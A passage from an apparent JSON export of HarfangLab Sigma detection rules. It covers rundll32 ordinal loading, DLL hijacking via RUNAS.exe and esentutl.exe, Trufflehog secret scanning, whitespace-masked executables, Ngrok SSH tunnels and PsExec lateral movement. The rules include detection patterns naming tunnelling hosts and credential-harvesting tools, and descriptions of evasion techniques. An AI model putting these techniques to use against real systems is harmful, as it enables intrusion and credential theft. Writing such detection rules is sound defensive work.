?:\\WINDOWS\\system32\\shell32.dll,#44 xwaymgr.cpl'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\shell32.dll,#44 ?:\\WINDOWS\\SYSTEM32\\XWAYMGR.CPL'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\shell32.dll,#44 ?:\\Windows\\System32\\XWAYMgr.cpl,'\n\n    exclusion_docrouter:\n        CommandLine: '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\SysWOW64\\shell32.dll,#44 *\\DocRouter\\DocRouterCfg.cpl,Inge-Com DocRouter'\n\n    exclusion_faxslauncher:\n        CommandLine: '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\SysWOW64\\shell32.dll,#44 *\\RightFax\\Shared Files\\FaxsLauncher.cpl,RightFax Server'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "69751146-8ab0-4b09-9bef-03ed928fc3f5",
+  "rule_name": "Suspicious DLL Loaded by Ordinal",
+  "rule_description": "Detects a suspicious execution of \"Rundll32.exe\" to load a DLL by specifying the function using an ordinal instead of a function name.\nThis can be used by an attackers to evade command-line based detection.\nIt is recommended to investigate the DLL loaded by \"Rundll32.exe\" as well as the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-03-16",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "698ab38b-da07-4635-805e-dfbdaab8e6e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588496Z",
+  "creation_date": "2026-03-23T11:45:34.588501Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588513Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_runas.yml",
+  "content": "title: DLL Hijacking via RUNAS.exe\nid: 698ab38b-da07-4635-805e-dfbdaab8e6e7\ndescription: |\n    Detects potential Windows DLL Hijacking via RUNAS.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'RUNAS.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\netutils.dll'\n            - '\\sspicli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "698ab38b-da07-4635-805e-dfbdaab8e6e7",
+  "rule_name": "DLL Hijacking via RUNAS.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via RUNAS.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "69da9a0f-114f-4a09-afa3-1b7ade5b394d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070861Z",
+  "creation_date": "2026-03-23T11:45:34.070863Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070867Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/trufflesecurity/trufflehog",
+    "https://www.zscaler.com/fr/blogs/security-research/mitigating-risks-shai-hulud-npm-worm",
+    "https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/",
+    "https://attack.mitre.org/techniques/T1552/"
+  ],
+  "name": "t1552_trufflehog_executed_linux.yml",
+  "content": "title: Trufflehog Executed (Linux)\nid: 69da9a0f-114f-4a09-afa3-1b7ade5b394d\ndescription: |\n    Detects the execution of Trufflehog, a security scanning tool commonly used to identify exposed secrets and credentials within source code repositories.\n    This tool was used in the Shai Hulud campaign, where attackers leveraged it to search for exposed secrets within compromised repositories.\n    The Shai Hulud campaign targeted the npm and Node.js ecosystem, focusing on compromised packages and developer environments to harvest exposed secrets and gain further access.\n    It is recommended to analyze the execution chain associated with this alert to determine if the usage of this tool is legitimate.\nreferences:\n    - https://github.com/trufflesecurity/trufflehog\n    - https://www.zscaler.com/fr/blogs/security-research/mitigating-risks-shai-hulud-npm-worm\n    - https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/\n    - https://attack.mitre.org/techniques/T1552/\ndate: 2025/11/26\nmodified: 2025/11/27\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1083\n    - attack.credential_access\n    - attack.t1552\n    - attack.collection\n    - attack.t1213\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Tool.Trufflehog\n    - classification.Linux.Behavior.Discovery\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.Collection\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/trufflehog'\n\n    exclusion_commandline:\n        CommandLine|contains: '/trufflehog filesystem --json --fail --only-verified --no-update '\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "69da9a0f-114f-4a09-afa3-1b7ade5b394d",
+  "rule_name": "Trufflehog Executed (Linux)",
+  "rule_description": "Detects the execution of Trufflehog, a security scanning tool commonly used to identify exposed secrets and credentials within source code repositories.\nThis tool was used in the Shai Hulud campaign, where attackers leveraged it to search for exposed secrets within compromised repositories.\nThe Shai Hulud campaign targeted the npm and Node.js ecosystem, focusing on compromised packages and developer environments to harvest exposed secrets and gain further access.\nIt is recommended to analyze the execution chain associated with this alert to determine if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2025-11-26",
+  "rule_modified_date": "2025-11-27",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1213",
+    "attack.t1552"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "69e19e89-cfed-45d8-a058-15df7559165b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086584Z",
+  "creation_date": "2026-03-23T11:45:34.086586Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086590Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.gov.pl/web/baza-wiedzy/espionage-campaign-linked-to-russian-intelligence-services",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1036_executable_with_spaces_before_extension.yml",
+  "content": "title: File with White Spaces Before its Extension Executed\nid: 69e19e89-cfed-45d8-a058-15df7559165b\ndescription: |\n    Detects the execution of a suspicious file with a large number of white spaces before its extension.\n    This is usually used to hide the file extension by pushing it outside of a default view in a files list window, so that a targeted user is tricked into opening an executable file.\n    This technique is often leveraged to better masquerade an executable file as a document (eg. executable icon is set to the one of a PDF file, and/or a '.pdf' double file extension is added before several spaces and '.exe').\n    It is recommended to check the binary for malicious content.\nreferences:\n    - https://www.gov.pl/web/baza-wiedzy/espionage-campaign-linked-to-russian-intelligence-services\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2021/05/04\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1036\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        Image|re: '[\\s\\u2800]{5,260}\\.\\w{1,3}$'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "69e19e89-cfed-45d8-a058-15df7559165b",
+  "rule_name": "File with White Spaces Before its Extension Executed",
+  "rule_description": "Detects the execution of a suspicious file with a large number of white spaces before its extension.\nThis is usually used to hide the file extension by pushing it outside of a default view in a files list window, so that a targeted user is tricked into opening an executable file.\nThis technique is often leveraged to better masquerade an executable file as a document (eg. executable icon is set to the one of a PDF file, and/or a '.pdf' double file extension is added before several spaces and '.exe').\nIt is recommended to check the binary for malicious content.\n",
+  "rule_creation_date": "2021-05-04",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6a020cdc-4611-49dd-a63a-88e40f6579fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094346Z",
+  "creation_date": "2026-03-23T11:45:34.094349Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094353Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/hakluke/status/1679023050526687244",
+    "https://twitter.com/malmoeb/status/1519710302820089857",
+    "https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/software/S0508/"
+  ],
+  "name": "t1090_macos_ngrok_ssh.yml",
+  "content": "title: Ngrok Tunnel via SSH\nid: 6a020cdc-4611-49dd-a63a-88e40f6579fc\ndescription: |\n    Detects an SSH command-line with the official Ngrok Tunnel Server URL.\n    Ngrok is a tool that allows users to expose their local servers to the internet, which enables attackers to tunnel malicious traffic through an otherwise secure network.\n    It isn't necessary to download the Ngrok binary to use an Ngrok tunnel, this can be done by creating a reverse SSH tunnel to the Ngrok servers.\n    It is recommended to identify the binary making the connection, the protocol used by the tunnel, the concerned users and what resources the attacker could have accessed through the tunnel.\nreferences:\n    - https://twitter.com/hakluke/status/1679023050526687244\n    - https://twitter.com/malmoeb/status/1519710302820089857\n    - https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/software/S0508/\ndate: 2023/07/13\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - attack.s0508\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Tunneling\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith: '/ssh'\n        CommandLine|contains:\n            - 'tunnel.??.ngrok.com'\n            - 'tunnel.ngrok.com'\n            - '.ngrok-agent.com'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6a020cdc-4611-49dd-a63a-88e40f6579fc",
+  "rule_name": "Ngrok Tunnel via SSH",
+  "rule_description": "Detects an SSH command-line with the official Ngrok Tunnel Server URL.\nNgrok is a tool that allows users to expose their local servers to the internet, which enables attackers to tunnel malicious traffic through an otherwise secure network.\nIt isn't necessary to download the Ngrok binary to use an Ngrok tunnel, this can be done by creating a reverse SSH tunnel to the Ngrok servers.\nIt is recommended to identify the binary making the connection, the protocol used by the tunnel, the concerned users and what resources the attacker could have accessed through the tunnel.\n",
+  "rule_creation_date": "2023-07-13",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6a1f9a20-f7c5-4819-915d-773afed71b8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607610Z",
+  "creation_date": "2026-03-23T11:45:34.607613Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607621Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/nettitude/Aladdin/tree/main",
+    "https://www.tiraniddo.dev/2017/07/dg-on-windows-10-s-executing-arbitrary.html",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1559_addinprocess_exploit_named_pipe.yml",
+  "content": "title: AddInProcess.exe Code Execution Named Pipe Detected\nid: 6a1f9a20-f7c5-4819-915d-773afed71b8a\ndescription: |\n    Detects the connection to the '32a91b0f-30cd-4c75-be79-ccbd6345de99' named pipe.\n    This can be the result of attackers exploiting the 'AddInProcess.exe' .NET binary to execute code under legitimate processes to hide their traces.\n    It is recommended to investigate the children of the process with the PID contained in the command-line or the 'AddInProcess.exe' process as well as the process that connected to the named pipe.\nreferences:\n    - https://github.com/nettitude/Aladdin/tree/main\n    - https://www.tiraniddo.dev/2017/07/dg-on-windows-10-s-executing-arbitrary.html\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2023/09/05\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName: '\\32a91b0f-30cd-4c75-be79-ccbd6345de99'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6a1f9a20-f7c5-4819-915d-773afed71b8a",
+  "rule_name": "AddInProcess.exe Code Execution Named Pipe Detected",
+  "rule_description": "Detects the connection to the '32a91b0f-30cd-4c75-be79-ccbd6345de99' named pipe.\nThis can be the result of attackers exploiting the 'AddInProcess.exe' .NET binary to execute code under legitimate processes to hide their traces.\nIt is recommended to investigate the children of the process with the PID contained in the command-line or the 'AddInProcess.exe' process as well as the process that connected to the named pipe.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6a5b2e92-4ae7-429a-a460-e0b6432c749f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081219Z",
+  "creation_date": "2026-03-23T11:45:34.081221Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081225Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_esentutl.yml",
+  "content": "title: DLL Hijacking via esentutl.exe\nid: 6a5b2e92-4ae7-429a-a460-e0b6432c749f\ndescription: |\n    Detects potential Windows DLL Hijacking via esentutl.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'esentutl.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\ESENT.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6a5b2e92-4ae7-429a-a460-e0b6432c749f",
+  "rule_name": "DLL Hijacking via esentutl.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via esentutl.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6a7426b7-86a4-4009-b5d8-bd78413a67e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072697Z",
+  "creation_date": "2026-03-23T11:45:34.072699Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072703Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/lateral-movement/lateral-movement-with-psexec",
+    "https://thedfirreport.com/2022/04/25/quantum-ransomware/",
+    "https://attack.mitre.org/techniques/T1569/002/"
+  ],
+  "name": "t1036_execute_psexec.yml",
+  "content": "title: PsExec-like Process Executed\nid: 6a7426b7-86a4-4009-b5d8-bd78413a67e9\ndescription: |\n    Detects the execution of PsExec-like processes, including PsExec itself and similar tools.\n    This detection looks for the execution of known PsExec-related executables and their variants, such as psexec.exe, psexec64.exe, winexesvc.exe, and PAExec.\n    It also considers the original filenames and parent processes associated with these tools.\n    Attackers often use PsExec and similar utilities for lateral movement within a network, leveraging administrative shares.\n    This rule helps identify potential unauthorized use of these tools, which could indicate malicious activity.\n    Note that legitimate administrative activities may also trigger this detection, so context is important for investigation.\n    It is recommended to analyze the context behind the execution of this command with the process tree to determine its legitimacy.\n    If this activity is recurrent in your environment, it is highly recommended to whitelist the scripts used in your command-line field.\nreferences:\n    - https://www.ired.team/offensive-security/lateral-movement/lateral-movement-with-psexec\n    - https://thedfirreport.com/2022/04/25/quantum-ransomware/\n    - https://attack.mitre.org/techniques/T1569/002/\ndate: 2020/10/12\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - attack.defense_evasion\n    - attack.t1036\n    - attack.persistence\n    - attack.t1136.002\n    - attack.lateral_movement\n    - attack.t1570\n    - attack.t1021.002\n    - attack.s0029\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.PsExec\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_client:\n        - Image|endswith:\n            - '\\psexec.exe'\n            - '\\psexec64.exe'\n        - OriginalFileName:\n            - 'psexec.exe'\n            - 'psexec.c' # since 2016 versions\n            # - 'psexesvc.exe' # PSExec service executable. (cannot match on parent process)\n            - 'PAExec.exe' # PAExec: https://www.poweradmin.com/paexec/\n\n    selection_server:\n        - ParentImage|endswith:\n            - '\\winexesvc.exe'\n            - '\\psexesvc.exe'\n            # C:\\Windows\\PAExec-1768-VM-SSI-01.exe /  C:\\Windows\\PAExec-2828-S21073.exe ==> \\paexec-PID-hostname.exe\n            - '\\PAExec-*-*.exe'\n        - ProcessParentOriginalFileName:\n            - 'winexesvc.exe'\n            - 'psexesvc.exe'\n\n    exclusion_werfault:\n        Image:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n        CommandLine|contains: ' -u -p '\n\n    exclusion_connexionok:\n        CommandLine: 'cmd /C echo ConnexionOK'\n\n    # https://coservit.com/servicenav/fr/accueil/\n    exclusion_servicenav:\n        CommandLine|startswith: 'cmd /C echo >NUL | ?:\\WINDOWS\\system32\\windowspowershell\\v1.0\\powershell.exe -command '\n\n    exclusion_magellan:\n        ParentImage: '?:\\Program Files\\OpenText\\Magellan-*\\integration-center\\GenExec.exe'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: 